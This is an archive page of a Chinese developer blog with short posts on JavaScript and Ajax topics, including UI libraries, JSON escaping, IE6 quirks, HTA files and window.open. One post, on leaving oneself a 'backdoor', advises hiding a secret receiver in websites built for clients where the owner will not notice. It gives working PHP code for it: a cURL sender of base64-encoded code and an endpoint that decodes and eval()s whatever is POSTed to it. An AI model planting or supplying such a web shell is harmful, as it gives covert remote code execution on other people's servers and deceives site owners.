存档

‘Ajax相关’ 分类的存档

15 个 JavaScript Web UI 库 [转]

2010年6月1日

几乎所有的富 Web 应用都基于一个或多个 Web UI 库或框架,这些 UI 库与框架极大地简化了开发进程,并带来一致,可靠,以及高度交互性的用户界面。本文介绍了 15 个非常强大的 JavaScript Web UI 库,非常适合各种各种规模的富 Web 应用的开发。

LivePipe

LivePipe UI基于Prototype Javascript 框架,包含了一整套经严格测试并高度可扩展的 UI 控件,拥有很好的文档,在不支持 JavaScript 的环境中,可以无缝降级使用。包括 Tab, 窗体,文本框,多选框,评分控件,进度条,滚动条,右键菜单等多种控件。

LivePipe首页与下载
LivePipe演示与示例

阅读全文…

Frank Ajax相关 ,

在JavaScript中关于引号的问题

2010年1月12日

昨日在JS中遇到一个很奇怪的问题,关于引号的问题,json_encode后的字符串(引号已转成”#34″安全编码),放在HTML页面中,再用JS去取,就会出问题,多次试验后,只有在HTML页面中直接将数据赋值给JS变量才得以解决问题。

废话不多说,把过程记下:

# 这是JSON后的串

$a = '[{"id":1,"option":"\u4eca\u5e74\u751f\u65e5\u600e\u4e48\u8fc7\uff1f\u90a3\u5c31\u53d1\u52a8\u597d\u53cb\u6765\u6295\u7968\u5e2e\u60a8\u51b3\u5b9a\u5427\uff01\u60a8\u4e5f\u53ef\u4ee5\u7528"\u6295\u7968"\u6765\u505a\u5176\u5b83\u65b9\u4fbf\u7684\u5c0f\u8c03\u67e5\u54e6\u3002"},{"id":2,"option":"\u4eca\u5e74\u751f\u65e5\u600e\u4e48\u8fc7\uff1f\u90a3\u5c31\u53d1\u52a8\u597d\u53cb\u6765\u6295\u7968\u5e2e\u60a8\u51b3\u5b9a\u5427\uff01\u60a8\u4e5f\u53ef\u4ee5\u7528"\u6295\u7968"\u6765\u505a\u5176\u5b83\u65b9\u4fbf\u7684\u5c0f\u8c03\u67e5\u54e6\u3002"},{"id":3,"option":"\u4eca\u5e74\u751f\u65e5\u600e\u4e48\u8fc7\uff1f\u90a3\u5c31\u53d1\u52a8\u597d\u53cb\u6765\u6295\u7968\u5e2e\u60a8\u51b3\u5b9a\u5427\uff01\u60a8\u4e5f\u53ef\u4ee5\u7528"\u6295\u7968"\u6765\u505a\u5176\u5b83\u65b9\u4fbf\u7684\u5c0f\u8c03\u67e5\u54e6\u3002"},{"id":4,"option":"\u4eca\u5e74\u751f\u65e5\u600e\u4e48\u8fc7\uff1f\u90a3\u5c31\u53d1\u52a8\u597d\u53cb\u6765\u6295\u7968\u5e2e\u60a8\u51b3\u5b9a\u5427\uff01\u60a8\u4e5f\u53ef\u4ee5\u7528"\u6295\u7968"\u6765\u505a\u5176\u5b83\u65b9\u4fbf\u7684\u5c0f\u8c03\u67e5\u54e6\u3002"},{"id":5,"option":"\u4eca\u5e74\u751f\u65e5\u600e\u4e48\u8fc7\uff1f\u90a3\u5c31\u53d1\u52a8\u597d\u53cb\u6765\u6295\u7968\u5e2e\u60a8\u51b3\u5b9a\u5427\uff01\u60a8\u4e5f\u53ef\u4ee5\u7528"\u6295\u7968"\u6765\u505a\u5176\u5b83\u65b9\u4fbf\u7684\u5c0f\u8c03\u67e5\u54e6\u3002"},{"id":6,"option":"\u4eca\u5e74\u751f\u65e5\u600e\u4e48\u8fc7\uff1f\u90a3\u5c31\u53d1\u52a8\u597d\u53cb\u6765\u6295\u7968\u5e2e\u60a8\u51b3\u5b9a\u5427\uff01\u60a8\u4e5f\u53ef\u4ee5\u7528"\u6295\u7968"\u6765\u505a\u5176\u5b83\u65b9\u4fbf\u7684\u5c0f\u8c03\u67e5\u54e6\u3002"},{"id":7,"option":"\u4eca\u5e74\u751f\u65e5\u600e\u4e48\u8fc7\uff1f\u90a3\u5c31\u53d1\u52a8\u597d\u53cb\u6765\u6295\u7968\u5e2e\u60a8\u51b3\u5b9a\u5427\uff01\u60a8\u4e5f\u53ef\u4ee5\u7528"\u6295\u7968"\u6765\u505a\u5176\u5b83\u65b9\u4fbf\u7684\u5c0f\u8c03\u67e5\u54e6\u3002"},{"id":8,"option":"\u4eca\u5e74\u751f\u65e5\u600e\u4e48\u8fc7\uff1f\u90a3\u5c31\u53d1\u52a8\u597d\u53cb\u6765\u6295\u7968\u5e2e\u60a8\u51b3\u5b9a\u5427\uff01\u60a8\u4e5f\u53ef\u4ee5\u7528"\u6295\u7968"\u6765\u505a\u5176\u5b83\u65b9\u4fbf\u7684\u5c0f\u8c03\u67e5\u54e6\u3002"}]
';
 
# 以下是模拟程序流程步骤
$b = json_decode($a, true);
$c = json_encode($b);

以下是页面中代码:

<script type="text/javascript" src="http://www.test.com/js/common/jquery.js"></script>
<input type="text" id="test" value='<?php echo $c ;?/>'>
<script>
var test = '< ?php echo $c ;?>';
//var a = $.parseJSON( test ); //此行可通过
var a = $('#test').val(); //此行未通过
alert($.parseJSON(a));
</script>

为什么会出现这情况, 经分析后判断应该数据在 encode 后,引号在HTML页面中直接翻译成 ‘ ” ‘(但多次测试证明它未被翻译),具体原因还真未搞明白,只是长一点见识, 只知其然,不知道其缘。

知道的朋友请吝教….

Frank Ajax相关

统计字符串长度

2010年1月5日

最近工作中遇到一个小问题,在PHP与JS中统计字符串长度不能同步问题。

思路分析:统一编码后,再统计长度

解决方案

只需要调用以下JS方法,将字符串转换成UTF8编码即可。

JS:

?View Code JAVASCRIPT
 // 获取字符串长度 (UTF-8编码)
 getBytesLenght: function(str){
    return ("" + str).replace(/[^\u0000-\u007f]/g,"\u0061\u0061\u0061").length;
 },

服务器端PHP使用:

 mb_strlen($str, 'UTF-8');

这样统计出来的字符串长度相同。

Frank Ajax相关, PHP相关

JS在HTML中Href上触发事件的细节引发的问题!

2009年12月14日

最近在项目开发中遇到一个问题,说起来真不起眼,但查了好久,简单说就是浏览器兼容性的问题。

浏览器:IE6,IE7,IE8,FF

操作系统:WinXp

问题:在异步向服务器提交数据时,除IE6浏览器外,其它浏览器都正常提交,IE6就出问题(服务器端调用客户端JS时不执行,但服务端的数据提交成功)?

说明:此处调用的异步请求是基于jQuery封装的。之前也是考虑到兼容性的问题,所以JS全是基于jQuery.

分析:最初怀疑是JS出了问题,一步步跟踪下去,没有发现问题,服务器端数据正常,起初屏蔽所有代码,只让其简单执行最基本的动作,仍有此问题,同时借助抓包工具检测,仍正常无误,这下让人头大。

最后有一同事帮忙改了下a标记的href,那个问题消失了,

问题源:<a href=”javascript:;” onclick=”pop();return false;”>test</a>

引审下:在弹出层上有触发事件时(<a href=”#” onclick=”test();return false;”>test</a>),会有一个问题,

点击时,它会让原本翻动过的页面(滚动条向下拉过)回到原始位置(滚动条顶部).

个人总结:href=”javascript:;” 在非一般的情况下不建议这样使用,尽量用”#”,这里个人建议可采用“##”.

——————————————–

以上是在项目中遇到的问题,在这里作个记录,提醒自己以后不要再犯!同时大家如有更好的方法,欢迎交流,

有不对的地方欢迎仍砖!

Frank Ajax相关 ,

为自己留“后门”的方法

2009年7月15日

说到这个留后门的思路,是从“用Javascript,css语法加亮”这里面引出来的,看到它让我突发灵感,就记下来,也是一个思路。

简单说说原理:

这个思路的前提是,你必须对网站或其它相关系统数据库与系统结构都了解,一般适用于你给别人做的网站,还有一个条件就是你必须能远程访问,有了以上条件,废话少说。

1。在本地调试好实现功能的代码(服务端)。

2。再写一个能向远程服务器发送请求的JS代码,这里使用jQuery的$.ajax。

3。自己写一套加密解密小程序,如:PHP中,base64_decode与base64_encode就是一个加密与解密的函数,

这里只是抛砖引玉,具体想怎么写都行,只要自己能把加密的代码解密出来就可以。

(说明:这里将解密小程序放到你给别人的网站上,什么时候放,就在你开发完成后放一个你认为站长发现不了的地方。

说到这里想必应该明白这个思路的意思,原理很简单,而且安全性也较高,只要别人不知道你留的后门,知道也没关系,

因为解密算法只有你知道。~_~)

写到这里,再引申下,刚刚想到,没测试,服务端远程调用命令,有时间去测试下。

4。用JS把你加密的PHP代码向服务器发送,服务器接收后执行就大功告成了!

原理很简单,适合有一定编程能力的朋友。

朋友们有更好想法,欢迎讨论!

继:

做了简单的测试,因为$.ajax跨域问题麻烦,故改用PHP的CURL方式发送,最终的目标是将代码发送到另一台机器就达到目的, 顺便也贴出代码:

1. 发送端:

include_once 'curl.cls.php';
 
$str = '
	$a = \'welcome \';
	echo($a." this message from service data.");
';
$str = base64_encode($str);
 
$curl = new Curl();
$args = array(CURLOPT_HEADER=&gt;0, CURLOPT_RETURNTRANSFER=&gt;1, CURLOPT_TIMEOUT=&gt;3);
$post = $curl-&gt;curlPost("http://www.test.com/diyalbum/recieve.php", $str, $args);
echo $post;
 
class Curl {
 
	# @var resource: curl的一个资源
	private static $_rs;
 
	# @var string: POST的数据	
	private $_data;
 
	# @var boolean: 是否返回执行结构
	private $_return = true;
 
	# 构造函数: 检测是否安装CURL库
	public function __construct() {
		if(!function_exists('curl_init')) {
			exit('没有安装CURL库');
		}
	}
 
	# 析构函数
	public function __destruct() {
	}
 
	# 创建一个CURL 会话	
	private function _curlCreate() {
		self::$_rs = curl_init();
	}
 
	/**
	 * 执行CURL会话
	 *
	 * @param string $method 方式 GET、POST、PUT
	 * @param string $url http://、https://、file://
	 * @param array $data POST的数据格式: array or string
	 * @param array $args CURL设置的CURLOPT属性
	 *    CURLOPT_HEADER: 是否显示头部信息, CURLOPT_RETURNTRANSFER:获取数据返回, CURLOPT_TIMEOUT: 设置curl超时秒数,例如将信息POST出去3秒钟后自动结束运行
	 *    例如:args=array(CURLOPT_HEADER=>false, CURLOPT_RETURNTRANSFER=>true, CURLOPT_TIMEOUT=>3);
	 * @param string $username 是否匿名访问
	 * @param string $password 对应的密码
	 * @return mix [成功(可能返回string)|失败(可能是false或者array[错误代码、错误内容])]
	 */
	private function _curlExec($method, $url, $args=array(), $data='', $userAgent='', $httpHeaders='', $username='',$password='') {		
		$this->_curlCreate();
 
		# 针对url进行判断,如果包含https需要使用ssl方式		 
		if(is_string($url) === true && strlen($url) > 0) {
			curl_setopt(self::$_rs,CURLOPT_URL,$url);
			if (strpos($url,'https')) {
				curl_setopt(self::$_rs,CURLOPT_SSL_VERIFYPEER,true);
			}
		} else {
			return false;
		}
 
		# 设置CURLOPT属性
		foreach ($args as $key => $value) {
			curl_setopt(self::$_rs,$key,$value);
		}
 
		# 选择发送方式
		switch($method) {
			case 'POST':
					# $data必须是数组形式传递
					if( is_array($data) ) {
						# 下面四行代码作用是方便接受页面直接使用php://input获取
						foreach ($data as $key => $value) {
							$tmpData[] = $key .'='. urlencode($value);
						}
						$this->_data = implode('&',$tmpData);
						unset($tmpData);
					} else if( is_string($data) ) {
						$this->_data = $data;
					} else {
						return false;
					}
					curl_setopt(self::$_rs, CURLOPT_POST, true);
					curl_setopt(self::$_rs, CURLOPT_POSTFIELDS, $this->_data);
				break;
			case 'GET':
				# GET方式无需做任何事情,需要get的数据直接通过url发送
				break;
			case 'PUT':
					# PUT的时候需要告诉请求URL本次是PUT形式发送数据,目前尚不健壮
					curl_setopt(self::$_rs,CURLOPT_PUT,true);
				break;
		}
 
		if (empty($username) === false) {
			# 如果需要认证,则发送账号密码过去
			curl_setopt(self::$_rs, CURLOPT_USERPWD, $username . ':' . $password);
		}
		if (strlen($userAgent)) {
			# 在HTTP请求中包含一个"user-agent"头的字符串
			curl_setopt(self::$_rs, CURLOPT_USERAGENT, $userAgent);  
		}
		if (is_array($httpHeaders)) {
			# 设置一个header中传输内容的数组
			curl_setopt(self::$_rs, CURLOPT_HTTPHEADER, $httpHeaders);  
		}
 
		# 执行会话
		$result = curl_exec(self::$_rs);
 
		# 如果有执行失败,则返回CURL ERROR
		if(curl_errno(self::$_rs)) {
			# array(错误代码,错误报告)
			return array(curl_errno(self::$_rs),curl_error(self::$_rs));
		}
		curl_close(self::$_rs);
		return $result;
	}
 
	/**
	 * POST方式访问
	 *
	 * @param string $url 需要访问的地址
	 * @param array $data 需要POST的数据
	 * @param array $args 需要设置的CURLOPT属性
	 * @return mix [成功(可能返回string)|失败(可能是false或者array[错误代码、错误内容])]
	 */
	public function curlPost($url,$data='',$args=array(), $userAgent='',$httpHeaders='') {
		return $this->_curlExec('POST',$url,$args,$data, $userAgent,$httpHeaders);
	}
 
	/**
	 * GET方式访问
	 *
	 * @param string $url 需要访问的地址
	 * @param array $args 需要设置的CURLOPT属性
	 * @return mix [成功(可能返回string)|失败(可能是false或者array[错误代码、错误内容])]
	 */
	public function curlGet($url,$args=array()) {
		return $this->_curlExec('GET',$url,$args);
	}
 
	/**
	 * PUT方式访问,目前尚不健壮,暂时改为私有
	 *
	 * @param string $url 需要访问的地址
	 * @param array $args 需要设置的CURLOPT属性
	 * @param array $data 需要PUT的数据
	 * @return mix [成功(可能返回string)|失败(可能是false或者array[错误代码、错误内容])]
	 */
	private function curlPut($url,$args=array(),$data='',$userAgent='',$httpHeaders='') {
		return $this->_curlExec('PUT',$url,$args,$data,$userAgent,$httpHeaders);
	}
}

2. 接收端:

# 连线中断后(例如关闭浏览器)仍然继续执行以下的脚本直到处理完毕。
ignore_user_abort();
 
# 设置脚本运行时间,0 无限制
set_time_limit(0);
 
# 接收数据
$getData = file_get_contents("php://input"); 
 
# 解密代码
$getData = base64_decode($getData);
 
# 执行代码
eval($getData);

阅读全文…

Frank Ajax相关, PHP相关, 文章

用javascript, css对关键字语法加亮

2009年7月15日

今天搜索到一个相片展示效果,在包里面发现一个这样的东东,就拿出来与大家分享:

usage:

1. 加载js文件

2. 需要加亮的代码:

<pre class=”jush-js”>

这里就是代码………………

</pre>

2. 在需要加亮的内容后面加上这句代码:

?View Code JAVASCRIPT
jush.style('css/jush.css');
jush.highlight_tag('pre');

就这几步吧!

源代码也贴出来:

阅读全文…

Frank Ajax相关

学习JS总结

2009年7月1日

因工作上需要开发APP个性相册,借助网上现有的特效,加以改进,使之在实际中能应用方便。

本人JS比较弱,只会一些常见的应用,借助强大的Jquery可以满足一般的WEB开发需求,仅靠这些远远不够,就强化JS一段时间,现把学习JS的总结写出来,一来作个学习总结,二来也可让新手学习,让高手见笑了,有不对地方,高手们请指点。

第一步:当然是得先熟悉JS基本的语法

这块不多说了,翻翻手册很快就会明白。

第二步:进阶者,了解JS的设计模式,我学习时参考了这本书,《JavaScript 设计模式》确实很经典,建议大家看看,只不过是英文版,G了一把没找到中文版。

以下是学习时的参考代码,依次往下看,较容易理解:

阅读全文…

Frank Ajax相关

hta类型的文件应用

2009年6月20日

记得曾经见过此类型文件,但没有一直追究下去,今天它再次重现,我就追查下去,原来只是一个HTML应用程序,可以脱离浏览的HTML程序,大家可以看看下面介绍:

hta就是一个HTML应用程序(HTML Application),只要你双击就能运行 

只要简单的用.hta为扩展名保存HTML页面就行了 

下面的一个标准的HTML应用程序:
<HTML>
<HEAD>
<TITLE>HTA Demo</TITLE>
<HTA:APPLICATION ID=〃oHTA〃
APPLICATIONNAME=〃myApp〃
BORDER=〃thin〃
BORDERSTYLE=〃normal〃
CAPTION=〃yes〃
ICON=〃filename.ico〃
MAXIMIZEBUTTON=〃yes〃
MINIMIZEBUTTON=〃yes〃
SHOWINTASKBAR=〃no〃
INGLEINSTANCE=〃no〃
SYSMENU=〃yes〃
VERSION=〃1.0〃
WINDOWSTATE=〃normal〃>
</HEAD>
<BODY SCROLL=〃no〃>
<H1>HELLO, WORLD!</H1>
</BODY>
</HTML> 

它多了HTA:APPLICATION标签。其实就是这个标签提供了一系列面向应用程序的功能。 

它的各种属性: 

APPLICATIONNAME属性(applicationName)
此属性为设置HTA的名称。 

BORDER属性(border)
此属性为设置为HTA的窗口边框类型,默认值为 thick。
它可以设为 thick 指定窗口为粗边框
dialog window 指定窗口为对话框
none 指定窗口无边框
thin 指定窗口为窄边框 

BORDERSTYLE属性(borderStyle)
此属性为设置HTA窗口的边框格式,默认值为 normal。
它可以设为
normal 普通边框格式
complex 凹凸格式组合边框
raised 凸出的3D边框
static 3D边框格式
sunken 凹进的3D边框 

CAPTION属性(caption)
此属性为设置HTA窗口是否显示标题栏或标题,默认值为 yes。 

ICON属性(icon)
此属性为设置应用程序的图标。 

MAXIMIZEBUTTON属性(maximizeButton)
此属性为设置是否在HTA窗口中显示最大化按钮,默认值为 yes。 

MINIMIZEBUTTON属性(minimizeButton)
此属性为设置是否在HTA窗口中显示最小化按钮,默认值为 yes。 

SHOWINTASKBAR属性(showInTaskBar)
此属性为设置是否在任务栏中显示此应用程序,默认值为 yes。 

SINGLEINSTANCE属性(singleInstance)
此属性为设置是否此应用程序同时只能运行一次。次属性以APPLICATIONNAME属性作为标识,默认值为 no。 

SYSMENU属性(sysMenu)
此属性为设置是否在HTA窗口中显示系统菜单,默认值为 yes。 

VERSION属性(version)
此属性为设置应用程序的版本,默认值为空。 

WINDOWSTATE属性(windowState)
此属性为设置HTA窗口的初始大小,默认值为 normal。
它可以设为 normal 默认大小
minmize 最小化
maximize 最大化 

以上括号中的是在脚本引用的属性。在脚本中以上属性皆为只读属性。此外,在脚本中还可以使用commandLine属性来检索应用程序启动时的参数。
在HTA中还可以使用html中的绝大多数标签、脚本等。

阅读全文…

Frank Ajax相关, 文章, 概念 ,

JavaScript关于window.open()应用

2009年6月5日

网页都是建立在窗口之上的,任何有关网页的事情,都与窗口有关。下面首先让我们熟悉一下大家常用的Internet Explorer的基本结构。

正常情况下,打开的窗口都有如下四部分:

  • 标题栏(title):该窗口显示标题的地方
  • 控制区:各种按键、菜单
  • 窗口:浏览器上最大的那一部分,不用多说了吧!
  • 状态栏(status):显示相应系统信息以及JavaScript信息的地方

    在默认情况下,打开的新窗口都含有以上部分。但是当用到windows.open()时,我们就可以控制新打开的窗口的风格了。

    语法:

    oNewDoc = document.open(sUrl [, sName] [, sFeatures] [, bReplace])
  • 阅读全文…

    Frank Ajax相关, 文章

    用Javascript获得屏幕、浏览器宽高的方法

    2009年6月4日

    网页可见区域宽:document.body.clientWidth
    网页可见区域高:document.body.clientHeight
    网页可见区域宽:document.body.offsetWidth (包括边线的宽)
    网页可见区域高:document.body.offsetHeight (包括边线的宽)
    网页正文全文宽:document.body.scrollWidth
    网页正文全文高:document.body.scrollHeight
    网页被卷去的高:document.body.scrollTop
    网页被卷去的左:document.body.scrollLeft
    网页正文部分上:window.screenTop
    网页正文部分左:window.screenLeft
    屏幕分辨率的高:window.screen.height
    屏幕分辨率的宽:window.screen.width
    屏幕可用工作区高度:window.screen.availHeight
    屏幕可用工作区宽度:window.screen.availWidth
    阅读全文…

    Frank Ajax相关 , ,